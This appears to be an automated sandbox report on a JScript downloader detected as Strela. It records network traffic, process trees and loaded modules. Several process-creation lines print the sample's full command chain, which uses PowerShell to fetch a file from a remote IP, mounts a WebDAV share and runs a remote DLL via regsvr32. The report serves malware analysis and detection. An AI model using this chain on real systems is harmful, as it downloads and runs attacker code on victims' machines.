HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1414406368.000001A3DC0F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1481388987.0000024BE241C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1476562897.0000024BE241C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481388987.0000024BE241C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/A
Source: svchost.exe, 00000009.00000002.2715451352.000002A0D9600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1475956933.000002A0D9420000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7788, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3039412363370818030.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7888:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_klnhorgu.tfs.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1804 --field-trial-handle=1664,i,16883546967039333588,5017798054370156047,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1804 --field-trial-handle=1664,i,16883546967039333588,5017798054370156047,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
